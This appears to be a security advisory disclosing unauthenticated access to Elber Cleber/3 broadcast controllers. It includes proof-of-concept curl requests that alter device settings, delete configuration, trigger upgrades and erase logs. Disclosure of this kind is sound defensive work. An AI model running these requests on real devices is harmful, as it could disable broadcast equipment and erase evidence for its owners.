Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Insecure Direct Object Reference

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Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Device Config  
  
  
Vendor: Elber S.r.l.  
Product web page: https://www.elber.it  
Affected version: 1.0.0 Revision 7304  
1.0.0 Revision 7284  
1.0.0 Revision 6505  
1.0.0 Revision 6332  
1.0.0 Revision 6258  
XS2DAB v1.50 rev 6267  
  
Summary: Cleber offers a powerful, flexible and modular hardware and  
software platform for broadcasting and contribution networks where  
customers can install up to six boards with no limitations in terms  
of position or number. Based on a Linux embedded OS, it detects the  
presence of the boards and shows the related control interface to the  
user, either through web GUI and Touchscreen TFT display. Power supply  
can be single (AC and/or DC) or dual (hot swappable for redundancy);  
customer may chose between two ranges for DC sources, that is 22-65  
or 10-36 Vdc for site or DSNG applications.  
  
Desc: The device suffers from an unauthenticated device configuration and  
client-side hidden functionality disclosure.  
  
Tested on: NBFM Controller  
embOS/IP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5817  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5817.php  
  
  
18.08.2023  
  
--  
  
  
# Config fan  
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='  
Configuration applied  
  
# Delete config  
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'  
File delete successfully  
  
# Launch upgrade  
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'  
Upgrade launched Successfully  
  
# Log erase  
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'  
Logs erased  
  
# Until:  
# =0 ALL  
# =-2 Yesterday  
# =-8 Last week  
# =-15 Last two weeks  
# =-22 Last three weeks  
# =-31 Last month  
  
# Set RX config  
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'  
RX Config Applied Successfully  
  
# Show factory window and FPGA upload (Console)  
> cleber_show_factory_wnd()  
  
# Etc.  
`